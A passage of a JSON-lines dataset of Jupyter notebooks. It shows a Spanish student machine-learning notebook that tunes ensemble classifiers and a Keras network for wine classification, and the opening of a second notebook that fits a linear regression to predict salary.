+/- {accuracy.std():.3f}')\nprint(f'f1 macro: {f1_macro.mean():.3f} +/- {f1_macro.std():.3f}')\nprint(f'Recall macro: {recall_macro.mean():.3f} +/- {recall_macro.std():.3f}')\nprint(f'Precision macro: {precision_macro.mean():.3f} +/- {precision_macro.std():.3f}')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"Lw8p-oTkdkuD\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636728521919, \"user_tz\": 180, \"elapsed\": 552034, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"688884be-2d74-4962-b609-a75eedd4fd78\"\nparams={'n_estimators':[100, 200, 300,500],\n 'max_samples':[0.6, 0.8, 1.0],\n 'max_features': [4, 6, 8,10, 12]}\ngrilla_bag_clf=GridSearchCV(bag_clf,params,cv=5,scoring='accuracy')\ngrilla_bag_clf.fit(X_train,t_train)\nprint(grilla_bag_clf.best_params_)\n\n# + id=\"6-dY-dCckbbZ\"\nmodel_bag_clf = grilla_bag_clf.best_estimator_\n\n# + id=\"MArmsKxBkbba\"\nscores_bag_clf = cross_validate(model_bag_clf, X_train, t_train, cv = 5, scoring = (\"accuracy\", \"f1_macro\", \"recall_macro\", \"precision_macro\"))\n\n\n# + id=\"FtDXykdGkbba\"\nbag_clf_predic = cross_val_predict(model_bag_clf, X_train, t_train, cv = 5)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"r4Fw5Hsdkbbb\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636728759775, \"user_tz\": 180, \"elapsed\": 263, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"63b46676-9294-4074-e235-24138c69648c\"\ncm_bag_clf_opt = confusion_matrix(t_train, bag_clf_predic)\nprint(cm_bag_clf_opt)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"j6JnRj-ikbbb\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636728764605, \"user_tz\": 180, \"elapsed\": 273, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"4494fbfd-d808-4a89-c9c3-7b2514588f45\"\naccuracy = scores_bag_clf['test_accuracy']\nf1_macro = scores_bag_clf['test_f1_macro']\nrecall_macro = scores_bag_clf['test_recall_macro']\nprecision_macro = scores_bag_clf['test_precision_macro']\n\nprint(f'Accuracy: {accuracy.mean():.3f} +/- {accuracy.std():.3f}')\nprint(f'f1 macro: {f1_macro.mean():.3f} +/- {f1_macro.std():.3f}')\nprint(f'Recall macro: {recall_macro.mean():.3f} +/- {recall_macro.std():.3f}')\nprint(f'Precision macro: {precision_macro.mean():.3f} +/- {precision_macro.std():.3f}')\n\n# + [markdown] id=\"RDg6BDllbUiy\"\n# Stacking:\n\n# + id=\"oTXdFRSjo1m2\"\nestimators = [('lr', lr), ('tree', dt), ('svc', svc), ('rf', rf)]\n\n# + id=\"R7wU4RCXr9_A\"\nreg = StackingRegressor(estimators=estimators, final_estimator=rf)\n\n# + id=\"qW9QMztTsBig\"\nreg_fit = reg.fit(X_train, t_train)\n\n# + id=\"3sGUPvuRsVp3\"\nreg_fit_pred = cross_val_predict(reg_fit,X_train,t_train)\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"jBz4rT36s5CD\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636727945995, \"user_tz\": 180, \"elapsed\": 250, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"a40395e2-6eb8-4a5a-b3f3-755c1635e878\"\ncm_reg_fit = confusion_matrix(t_train, reg_fit_pred)\nprint(cm_reg_fit)\n\n# + id=\"TiGxHymYs5CE\"\n# Graficamos la matriz de confusion\nplt.figure(figsize= (8, 8))\nax= plt.subplot()\nsns.heatmap(cm_reg_fit, annot=True, fmt='g', ax=ax, cmap=\"YlGnBu\");\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"i8QKQFg_s5CF\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636727961517, \"user_tz\": 180, \"elapsed\": 5377, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"c503c605-d695-4acc-d84c-15cb915a0715\"\nscores_reg_fit = cross_validate(reg_fit, X_train, t_train, cv = 5, scoring = (\"accuracy\", \"f1_macro\", \"recall_macro\", \"precision_macro\"))\n\naccuracy = scores_reg_fit['test_accuracy']\nf1_macro = scores_reg_fit['test_f1_macro']\nrecall_macro = scores_reg_fit['test_recall_macro']\nprecision_macro = scores_reg_fit['test_precision_macro']\n\nprint(f'Accuracy: {accuracy.mean():.3f} +/- {accuracy.std():.3f}')\nprint(f'f1 macro: {f1_macro.mean():.3f} +/- {f1_macro.std():.3f}')\nprint(f'Recall macro: {recall_macro.mean():.3f} +/- {recall_macro.std():.3f}')\nprint(f'Precision macro: {precision_macro.mean():.3f} +/- {precision_macro.std():.3f}')\n\n# + [markdown] id=\"egL2CuMTbUoN\"\n# # Boosting\n\n# + id=\"FAgYYRk04Y5q\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637030962472, \"user_tz\": 180, \"elapsed\": 312, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\nfrom sklearn.ensemble import BaggingClassifier, AdaBoostClassifier, GradientBoostingClassifier\n\n\n# + [markdown] id=\"m0Ywi3So4T8-\"\n# Adaboost:\n\n# + id=\"imcJ_Qcq3jj5\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 349} executionInfo={\"status\": \"error\", \"timestamp\": 1637031028006, \"user_tz\": 180, \"elapsed\": 21539, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"e28ffb53-e266-4c93-e204-ece50fcd843f\"\nabc = AdaBoostClassifier(base_estimator=DecisionTreeClassifier(), algorithm = 'SAMME', random_state=42)\n\nparameters = {'base_estimator__max_depth': [6,8,10,12],\n 'base_estimator__min_samples_leaf':[5,10, 20, 30],\n 'base_estimator__max_leaf_nodes': [10, 20, 35, 40, 45],\n 'n_estimators':[10,50,250,500],\n 'learning_rate':[0.01, 0.05, 0.1, 0.5]\n }\n\nada_gs = GridSearchCV(abc, parameters,scoring='accuracy',cv = 5, n_jobs=-1)\nada_gs.fit(X_train,t_train)\n\n\n# + id=\"5vhpIMdbzs3l\" executionInfo={\"status\": \"aborted\", \"timestamp\": 1637031027949, \"user_tz\": 180, \"elapsed\": 71, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\nmodel_ada = AdaBoostClassifier(base_estimator=DecisionTreeClassifier(), algorithm = 'SAMME', random_state=42, base_estimator__max_depth = 8,\n base_estimator__max_leaf_nodes = 35,\n base_estimator__min_samples_leaf = 10,\n learning_rate = 0.5,\n n_estimators = 500)\n\n# + id=\"nOtoxR5flDc2\" executionInfo={\"status\": \"aborted\", \"timestamp\": 1637031027989, \"user_tz\": 180, \"elapsed\": 108, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\nada_gs.best_estimator_\n\n# + id=\"yB7xbPcM3kYb\" executionInfo={\"status\": \"aborted\", \"timestamp\": 1637030963370, \"user_tz\": 180, \"elapsed\": 110, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\nmodel_ada = ada_gs.best_estimator_\n\n# + id=\"rZSsbbT33m_-\" executionInfo={\"status\": \"aborted\", \"timestamp\": 1637030963375, \"user_tz\": 180, \"elapsed\": 111, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\nscores_ada = cross_validate(model_ada, X_train, t_train, cv = 5, scoring = (\"accuracy\", \"f1_macro\", \"recall_macro\", \"precision_macro\"))\n\n\n# + id=\"RkphYMsO3qd3\" executionInfo={\"status\": \"aborted\", \"timestamp\": 1637030963378, \"user_tz\": 180, \"elapsed\": 109, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\nada_predic = cross_val_predict(model_ada, X_train, t_train, cv = 5)\n\n# + id=\"Bslw7Aou3vC4\" executionInfo={\"status\": \"aborted\", \"timestamp\": 1637030963382, \"user_tz\": 180, \"elapsed\": 110, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\ncm_adaOpt = confusion_matrix(t_train, ada_predic)\nprint(cm_adaOpt)\n\n# + id=\"pCB2cTcI3yJo\" executionInfo={\"status\": \"aborted\", \"timestamp\": 1637030963387, \"user_tz\": 180, \"elapsed\": 111, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\naccuracy = scores_ada['test_accuracy']\nf1_macro = scores_ada['test_f1_macro']\nrecall_macro = scores_ada['test_recall_macro']\nprecision_macro = scores_ada['test_precision_macro']\n\nprint(f'Accuracy: {accuracy.mean():.3f} +/- {accuracy.std():.3f}')\nprint(f'f1 macro: {f1_macro.mean():.3f} +/- {f1_macro.std():.3f}')\nprint(f'Recall macro: {recall_macro.mean():.3f} +/- {recall_macro.std():.3f}')\nprint(f'Precision macro: {precision_macro.mean():.3f} +/- {precision_macro.std():.3f}')\n\n# + id=\"0WPdlYioogsu\" executionInfo={\"status\": \"aborted\", \"timestamp\": 1637030963391, \"user_tz\": 180, \"elapsed\": 113, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\ncurvas_roc_multiclase(n_clases=n_clases, nom_clases=nom_clases, true_labels=t_train, y_score=scores_ada)\n\n# + [markdown] id=\"O6WgJhaXb4ik\"\n# GradientBoosting:\n\n# + id=\"F3YJXVAx34hX\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637031036728, \"user_tz\": 180, \"elapsed\": 346, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\ngbc = GradientBoostingClassifier(warm_start=True, random_state=42)\nparameters = {\n \"n_estimators\":[5,50,250,500],\n \"max_depth\":[1,3,5,7,9],\n \"learning_rate\":[0.01,0.1,1,10,100]\n}\n\n# + id=\"HfIagc5I35f1\" colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"status\": \"ok\", \"timestamp\": 1637035557842, \"user_tz\": 180, \"elapsed\": 4518379, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"fe10eda5-c708-465e-da13-a11b7cbe4520\"\ngbc_tune = GridSearchCV(gbc,parameters,cv=5)\ngbc_tune.fit(X_train,t_train)\n\n# + id=\"ERVbKYkX3-Fu\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637035560190, \"user_tz\": 180, \"elapsed\": 49, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\nmodel_gbc = gbc_tune.best_estimator_\n\n# + id=\"hhCE9l454AME\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637035673262, \"user_tz\": 180, \"elapsed\": 113101, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\nscores_gbc = cross_validate(model_gbc, X_train, t_train, cv = 5, scoring = (\"accuracy\", \"f1_macro\", \"recall_macro\", \"precision_macro\"))\n\n\n# + id=\"txWwccYs8dLf\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036079924, \"user_tz\": 180, \"elapsed\": 113370, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\ny_score_gbc_best = cross_val_predict(model_gbc, X_train, t_train, cv = 5, method = \"predict_proba\")\n\n# + id=\"Q7Y3qa4J4CKD\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637035786355, \"user_tz\": 180, \"elapsed\": 113125, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\ngbc_predic = cross_val_predict(model_gbc, X_train, t_train, cv = 5)\n\n# + id=\"eflbnkH74Hqx\" colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"status\": \"ok\", \"timestamp\": 1637035786362, \"user_tz\": 180, \"elapsed\": 148, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"488c7e64-c926-4217-e7b2-d3cf472cc58f\"\ncm_gbcOpt = confusion_matrix(t_train, gbc_predic)\nprint(cm_gbcOpt)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 485} id=\"n69T_HGGqGSu\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637035795910, \"user_tz\": 180, \"elapsed\": 406, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"80308cd8-e4ee-4357-b8b6-2a39565bce8a\"\n# Graficamos la matriz de confusion\nplt.figure(figsize= (8, 8))\nax= plt.subplot()\nsns.heatmap(cm_gbcOpt, annot=True, fmt='g', ax=ax, cmap=\"viridis\");\n\n# + id=\"VX0gDZhG4K8y\" colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"status\": \"ok\", \"timestamp\": 1637035786372, \"user_tz\": 180, \"elapsed\": 132, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"b3146501-817f-46d7-a59f-f125750be8ef\"\naccuracy = scores_gbc['test_accuracy']\nf1_macro = scores_gbc['test_f1_macro']\nrecall_macro = scores_gbc['test_recall_macro']\nprecision_macro = scores_gbc['test_precision_macro']\n\nprint(f'Accuracy: {accuracy.mean():.3f} +/- {accuracy.std():.3f}')\nprint(f'f1 macro: {f1_macro.mean():.3f} +/- {f1_macro.std():.3f}')\nprint(f'Recall macro: {recall_macro.mean():.3f} +/- {recall_macro.std():.3f}')\nprint(f'Precision macro: {precision_macro.mean():.3f} +/- {precision_macro.std():.3f}')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} id=\"mr-H7BJPpVpI\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036081986, \"user_tz\": 180, \"elapsed\": 876, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"87f4a694-3e64-4d4a-bd4c-02cd71066c85\"\ncurvas_roc_multiclase(n_clases=n_clases, nom_clases=nom_clases, true_labels=t_train, y_score=y_score_gbc_best)\n\n# + [markdown] id=\"iKbBcaSj7sF7\"\n# # Redes neuronales\n#\n\n# + id=\"PRz0JNv27v4i\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036745067, \"user_tz\": 180, \"elapsed\": 389, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\nimport tensorflow as tf\nfrom tensorflow import keras\n\n# + id=\"9knXLT1E72wy\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036745561, \"user_tz\": 180, \"elapsed\": 61, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\nX_validacion, X_entrenamiento = X_train[4000:] , X_train[:4001] \nt_validacion, t_entrenamiento = t_train[4000:], t_train[:4001]\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"YsUoesJNQz4O\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036745563, \"user_tz\": 180, \"elapsed\": 59, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"b8f07153-6872-4981-8afe-9f4d57724331\"\nt_validacion.value_counts()\n\n# + id=\"UOwSnNEdBR8s\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036745566, \"user_tz\": 180, \"elapsed\": 57, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\nkeras.backend.clear_session()\nnp.random.seed(42)\ntf.random.set_seed(42)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"sWVzD8GMD-3f\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036745568, \"user_tz\": 180, \"elapsed\": 55, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"20f83ffe-1682-4cb8-d5a6-ce17b789dbf6\"\nX_train.shape\n\n# + id=\"IGyb7czkB5q5\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036745573, \"user_tz\": 180, \"elapsed\": 54, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n#Definimos una capa especial, que es la entrada del modelo:\ninput_ = keras.layers.Input(shape=(12,))\n#Luego se instancia cada capa y se aplica como una función a la salida de la capa anterior\nhidden1 = keras.layers.Dense(200, activation=\"relu\")(input_)\ndropout = keras.layers.Dropout(rate=0.2)(hidden1)\nhidden2 = keras.layers.Dense(100, activation=\"relu\")(dropout)\n# hidden3 = keras.layers.Dense(50, activation=\"relu\")(hidden2)\ndropout = keras.layers.Dropout(rate=0.2)(hidden2)\nhidden4 = keras.layers.Dense(25, activation=\"relu\")(dropout)\n\n\noutput = keras.layers.Dense(3, activation=\"softmax\")(hidden4)\n\n#Cuando se haya llegado a las las salidas, podemos definir el modelo:\nmodel = keras.models.Model(inputs=[input_], outputs=[output])\n\n# + id=\"FR6na4RwE6GD\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637037102961, \"user_tz\": 180, \"elapsed\": 379, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\nmodel.compile(loss=\"sparse_categorical_crossentropy\",\n optimizer= keras.optimizers.Adam(learning_rate=0.0001),\n metrics=[\"accuracy\"])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"3loKokKYE-Qy\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637037112298, \"user_tz\": 180, \"elapsed\": 353, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"d51a0528-284c-4f0d-c8a2-9280fd94ee37\"\nmodel.layers\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"JO_N0_maFBC6\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637037114960, \"user_tz\": 180, \"elapsed\": 415, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"b88ec93c-9505-40ab-bef6-e59e87707ec5\"\nmodel.summary()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 754} id=\"AXHw05mMFFBp\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637037120853, \"user_tz\": 180, \"elapsed\": 620, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"56935454-7223-4f03-e118-bdab4317708d\"\nkeras.utils.plot_model(model, \"vinos_claisifacion.png\", show_shapes=True)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"YBwS3Hwr_Iqk\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637037126504, \"user_tz\": 180, \"elapsed\": 428, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"43b7b6dc-31a0-4fa3-ca05-07e098b4c169\"\nt_validacion\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 835} id=\"VEOFIRHqFJ7K\" executionInfo={\"status\": \"error\", \"timestamp\": 1637037130005, \"user_tz\": 180, \"elapsed\": 1114, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"e7088bed-0cfc-4c48-bb13-afdee0cce1a1\"\nhistory = model.fit(X_entrenamiento, t_entrenamiento, epochs=200, batch_size=32,\n validation_data=(X_validacion, t_validacion))\n\n# + id=\"U79sQqQDFRja\" colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"status\": \"ok\", \"timestamp\": 1637036828493, \"user_tz\": 180, \"elapsed\": 101, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"04566b2f-06de-493d-bc7f-eefead7ccf51\"\nhistory.history.keys()\n\n# + id=\"kjLjyljWFUMI\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 324} executionInfo={\"status\": \"ok\", \"timestamp\": 1637036828499, \"user_tz\": 180, \"elapsed\": 81, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"72b156e6-6890-4295-d040-f129428a1ae1\"\nimport pandas as pd\n\npd.DataFrame(history.history).plot(figsize=(8, 5))\nplt.grid(True)\nplt.gca().set_ylim(0, 1)\nplt.show()\n\n# + id=\"1gAIe20dFaG6\" colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"status\": \"ok\", \"timestamp\": 1637036829090, \"user_tz\": 180, \"elapsed\": 652, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"77c1bb11-4da0-498c-c4e8-612a5dc62463\"\nmodel.evaluate(X_validacion, t_validacion)\n\n# + id=\"B_9yipJqR20t\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036829095, \"user_tz\": 180, \"elapsed\": 60, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n\n\n# + [markdown] id=\"GG0-aqdvRveG\"\n# # Aplicmos el mejor modelo sobre el set de testeo\n\n# + id=\"1Jn7wBDBSlqD\"\nt_pred = model_rf.predict(X_test)\n\n# + id=\"S4A4Tcy1StLD\"\naccuracy_score(t_test, t_pred)\n\n# + id=\"_kfqiDXMSt4R\"\nf1_score(t_test, t_pred, average = \"macro\")\n\n# + id=\"RDBYwAUwSwQW\"\nprint(classification_report(t_test, t_pred))\n\n# + id=\"_zZUjmjkS1A8\"\ncm_rf_test = confusion_matrix(t_test, t_pred)\nprint(cm_rf_test)\n","repo_name":"agustinfernandez/Machine-Learning-tpunsam","sub_path":"TP_Modelos.ipynb","file_name":"TP_Modelos.ipynb","file_ext":"py","file_size_in_byte":83300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"41985103429","text":"import pandas as pd\nimport seaborn as sns\n\n# # Understanding The Data\n\ndf=pd.read_excel(r\"C:\\Users\\kingr\\Downloads\\Data_file.xlsx\",header=2)\ndf\n\ndf=df.drop(\"S.No.\",axis=1)\ndf.head()\n\ndf.shape\n\ndf.info()\n\n# # Converting categorical values to numerical values\n\ndf=pd.get_dummies(df,drop_first=True)\ndf\n\n# # Applying linear regression to predict the CTC\n\nfrom sklearn.linear_model import LinearRegression\n\nx_train=df.drop(\"CTC\",axis=1)\ny_train=df[\"CTC\"]\n\nmodel=LinearRegression()\nmodel.fit(x_train,y_train)\n\ndf_test=pd.read_excel(r\"C:\\Users\\kingr\\Downloads\\Test_data_file.xlsx\")\n\ndf_test.head()\n\ndf_test.info()\n\ndf_test.shape\n\ndf_test=df_test.drop([\"College_T1\",\"College_T2\",\"Role_Manager\",\"City_Metro\",\"Unnamed: 13\",\"Unnamed: 14\", \"Unnamed: 15\",\"Unnamed: 16\",\"Unnamed: 17\",\"Unnamed: 18\",\"Unnamed: 19\",\"Unnamed: 